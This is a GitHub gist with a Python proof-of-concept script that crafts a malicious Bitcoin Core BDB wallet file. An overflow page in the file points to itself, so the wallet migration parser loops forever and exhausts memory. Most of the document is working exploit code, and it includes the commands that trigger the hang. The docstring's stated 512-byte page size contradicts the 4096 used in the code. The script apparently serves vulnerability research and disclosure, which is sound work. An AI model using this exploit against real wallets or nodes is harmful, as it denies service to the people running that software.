Created
March 28, 2026 22:40
-
-
Save instagibbs/f92c17c34bfefa4aa391cb2b9c6306de to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Craft a malicious BDB wallet file with circular overflow page references. | |
| The Bitcoin Core BDB read-only parser (src/wallet/migrate.cpp) follows | |
| overflow page chains without cycle detection. This script creates a | |
| minimal valid BDB file where an overflow page's next_page field points | |
| back to itself, causing an infinite loop with unbounded memory growth | |
| when the file is opened via migratewallet or bitcoin-wallet tool. | |
| File layout (page_size=512, 5 pages = 2560 bytes): | |
| Page 0: Outer MetaPage (root=1, last_page=4) | |
| Page 1: Outer root leaf (contains "main" -> page 2) | |
| Page 2: Inner MetaPage (root=3) | |
| Page 3: Inner root leaf (contains overflow record -> page 4) | |
| Page 4: Overflow page (next_page=4, self-referencing cycle) | |
| Usage: | |
| python3 craft_circular_bdb.py [output_path] | |
| Then trigger via: | |
| timeout 5 bitcoin-wallet -wallet=circular_wallet.dat dump | |
| # or copy to wallet dir and call migratewallet RPC | |
| The parser will enter an infinite loop at migrate.cpp:676-687, | |
| consuming CPU and growing memory until killed. | |
| NOTE on endianness: Bitcoin Core's serialization (s >> uint32_t) reads | |
| little-endian. The BDB parser reads all fields via this mechanism, then | |
| byte-swaps if other_endian is set. We write in LE so other_endian=false | |
| and no swapping is needed. The one exception is the subdatabase page | |
| number in the outer root leaf, which is always read via ReadBE32(). | |
| """ | |
| import struct | |
| import sys | |
| PAGE_SIZE = 4096 | |
| BTREE_MAGIC = 0x00053162 | |
| BDB_VERSION = 9 | |
| SUBDB_FLAG = 0x20 | |
| # Page types | |
| BTREE_META = 9 | |
| BTREE_LEAF = 5 | |
| OVERFLOW_DATA = 7 | |
| # Record types | |
| KEYDATA = 1 | |
| OVERFLOW_REC = 3 | |
| def u32le(val): | |
| """Pack uint32 little-endian (Bitcoin Core serialization format).""" | |
| return struct.pack("<I", val) | |
| def u16le(val): | |
| """Pack uint16 little-endian.""" | |
| return struct.pack("<H", val) | |
| def u32be(val): | |
| """Pack uint32 big-endian (for BDB-specific fields like ReadBE32).""" | |
| return struct.pack(">I", val) | |
| def u8(val): | |
| """Pack uint8.""" | |
| return struct.pack("B", val) | |
| def pad_page(data): | |
| """Pad data to PAGE_SIZE with zeros.""" | |
| assert len(data) <= PAGE_SIZE, f"Page data too large: {len(data)}" | |
| return data + b'\x00' * (PAGE_SIZE - len(data)) | |
| def make_lsn(): | |
| """LSN: file=0, offset=1 (required to pass LSN reset check).""" | |
| return u32le(0) + u32le(1) | |
| def make_meta_page(page_num, root_page, last_page): | |
| """Build a BTree metadata page (type 9).""" | |
| data = bytearray() | |
| data += make_lsn() # lsn_file, lsn_offset | |
| data += u32le(page_num) # page_num | |
| data += u32le(BTREE_MAGIC) # magic (LE so other_endian=false) | |
| data += u32le(BDB_VERSION) # version | |
| data += u32le(PAGE_SIZE) # pagesize | |
| data += u8(0) # encrypt_algo (0 = none) | |
| data += u8(BTREE_META) # type | |
| data += u8(0) # metaflags | |
| data += u8(0) # unused1 | |
| data += u32le(0) # free_list | |
| data += u32le(last_page) # last_page | |
| data += u32le(0) # partitions | |
| data += u32le(0) # key_count | |
| data += u32le(0) # record_count | |
| data += u32le(SUBDB_FLAG) # flags (SUBDB=0x20) | |
| data += b'\x00' * 20 # uid | |
| data += u32le(0) # unused2 | |
| data += u32le(2) # minkey | |
| data += u32le(0) # re_len | |
| data += u32le(0) # re_pad | |
| data += u32le(root_page) # root | |
| data += b'\x00' * 368 # unused3 | |
| data += u32le(0) # crypto_magic | |
| data += b'\x00' * 12 # trash | |
| data += b'\x00' * 20 # iv | |
| data += b'\x00' * 16 # chksum | |
| return pad_page(bytes(data)) | |
| def make_page_header(page_num, prev_pg, next_pg, entries, | |
| hf_offset, level, pg_type): | |
| """Build a 26-byte page header (all multi-byte fields in LE).""" | |
| data = bytearray() | |
| data += make_lsn() # lsn_file, lsn_offset | |
| data += u32le(page_num) # page_num | |
| data += u32le(prev_pg) # prev_page | |
| data += u32le(next_pg) # next_page | |
| data += u16le(entries) # entries | |
| data += u16le(hf_offset) # hf_offset | |
| data += u8(level) # level | |
| data += u8(pg_type) # type | |
| return bytes(data) | |
| def make_record_header(length, rec_type): | |
| """Build a 3-byte record header (len is LE uint16).""" | |
| return u16le(length) + u8(rec_type) | |
| def make_outer_root_leaf(page_num, inner_meta_page): | |
| """ | |
| Build the outer root leaf page (page 1). | |
| Contains exactly 2 records: | |
| Record 0: KEYDATA "main" (the subdatabase name) | |
| Record 1: KEYDATA <4-byte BE page number of inner meta> | |
| The subdatabase page number is always read via ReadBE32() at | |
| migrate.cpp:610, so it must be big-endian regardless of the | |
| file's endianness. | |
| """ | |
| header = make_page_header( | |
| page_num=page_num, | |
| prev_pg=0, | |
| next_pg=0, | |
| entries=2, | |
| hf_offset=0, | |
| level=1, | |
| pg_type=BTREE_LEAF, | |
| ) | |
| # Record 0: "main" (4 bytes) | |
| rec0_hdr = make_record_header(4, KEYDATA) | |
| rec0_data = b'main' | |
| rec0 = rec0_hdr + rec0_data # 7 bytes | |
| # Record 1: inner meta page number (always big-endian per ReadBE32) | |
| rec1_hdr = make_record_header(4, KEYDATA) | |
| rec1_data = u32be(inner_meta_page) | |
| rec1 = rec1_hdr + rec1_data # 7 bytes | |
| # Place records near the end of the page | |
| rec0_offset = PAGE_SIZE - 14 | |
| rec1_offset = PAGE_SIZE - 7 | |
| # Index table (LE uint16 offsets within the page) | |
| index0 = u16le(rec0_offset) | |
| index1 = u16le(rec1_offset) | |
| page = bytearray(PAGE_SIZE) | |
| page[0:26] = header | |
| page[26:28] = index0 | |
| page[28:30] = index1 | |
| page[rec0_offset:rec0_offset + len(rec0)] = rec0 | |
| page[rec1_offset:rec1_offset + len(rec1)] = rec1 | |
| return bytes(page) | |
| def make_inner_root_leaf_with_overflow(page_num, overflow_page): | |
| """ | |
| Build the inner root leaf page (page 3). | |
| Contains 2 records (key-value pair): | |
| Record 0: KEYDATA key (e.g., "key1") | |
| Record 1: OVERFLOW record pointing to overflow_page | |
| The overflow record triggers the vulnerable loop. | |
| """ | |
| header = make_page_header( | |
| page_num=page_num, | |
| prev_pg=0, | |
| next_pg=0, | |
| entries=2, | |
| hf_offset=0, | |
| level=1, | |
| pg_type=BTREE_LEAF, | |
| ) | |
| # Record 0: key "key1" (4 bytes) | |
| rec0_hdr = make_record_header(4, KEYDATA) | |
| rec0_data = b'key1' | |
| rec0 = rec0_hdr + rec0_data # 7 bytes | |
| # Record 1: overflow record | |
| # RecordHeader: len=0 (unused for overflow), type=3 | |
| # Body: 1 byte unused, 4 bytes page_number (LE), 4 bytes item_len (LE) | |
| rec1_hdr = make_record_header(0, OVERFLOW_REC) | |
| rec1_body = u8(0) + u32le(overflow_page) + u32le(100) | |
| rec1 = rec1_hdr + rec1_body # 3 + 9 = 12 bytes | |
| rec0_offset = PAGE_SIZE - 19 | |
| rec1_offset = PAGE_SIZE - 12 | |
| index0 = u16le(rec0_offset) | |
| index1 = u16le(rec1_offset) | |
| page = bytearray(PAGE_SIZE) | |
| page[0:26] = header | |
| page[26:28] = index0 | |
| page[28:30] = index1 | |
| page[rec0_offset:rec0_offset + len(rec0)] = rec0 | |
| page[rec1_offset:rec1_offset + len(rec1)] = rec1 | |
| return bytes(page) | |
| def make_overflow_page_circular(page_num): | |
| """ | |
| Build an overflow page (type 7) whose next_page points to itself. | |
| The parser reads hf_offset bytes of data from this page, then | |
| follows next_page. Since next_page == page_num, it loops forever, | |
| appending hf_offset bytes of data on each iteration. | |
| hf_offset is set to 32 so each iteration appends 32 bytes to | |
| a vector. Memory grows linearly with iterations. | |
| """ | |
| data_len = 32 | |
| header = make_page_header( | |
| page_num=page_num, | |
| prev_pg=0, | |
| next_pg=page_num, # <-- CIRCULAR: points to self | |
| entries=0, | |
| hf_offset=data_len, | |
| level=0, | |
| pg_type=OVERFLOW_DATA, | |
| ) | |
| page = bytearray(PAGE_SIZE) | |
| page[0:26] = header | |
| # Fill overflow data area with recognizable pattern | |
| for i in range(data_len): | |
| page[26 + i] = 0xAB | |
| return bytes(page) | |
| def main(): | |
| output_path = sys.argv[1] if len(sys.argv) > 1 else "circular_wallet.dat" | |
| page0 = make_meta_page(page_num=0, root_page=1, last_page=4) | |
| page1 = make_outer_root_leaf(page_num=1, inner_meta_page=2) | |
| page2 = make_meta_page(page_num=2, root_page=3, last_page=4) | |
| page3 = make_inner_root_leaf_with_overflow(page_num=3, overflow_page=4) | |
| page4 = make_overflow_page_circular(page_num=4) | |
| wallet_data = page0 + page1 + page2 + page3 + page4 | |
| with open(output_path, 'wb') as f: | |
| f.write(wallet_data) | |
| print(f"Wrote {len(wallet_data)} bytes to {output_path}") | |
| print(f" Pages: 5 x {PAGE_SIZE} = {5 * PAGE_SIZE} bytes") | |
| print(f" Layout:") | |
| print(f" Page 0: Outer MetaPage (root=1, last_page=4)") | |
| print(f" Page 1: Outer root leaf ('main' -> page 2)") | |
| print(f" Page 2: Inner MetaPage (root=3)") | |
| print(f" Page 3: Inner root leaf (overflow -> page 4)") | |
| print(f" Page 4: Overflow page (next_page=4, CIRCULAR)") | |
| print() | |
| print(f"To trigger:") | |
| print(f" timeout 5 bitcoin-wallet -wallet={output_path} dump") | |
| print(f" # Process will loop forever; use timeout or Ctrl-C") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment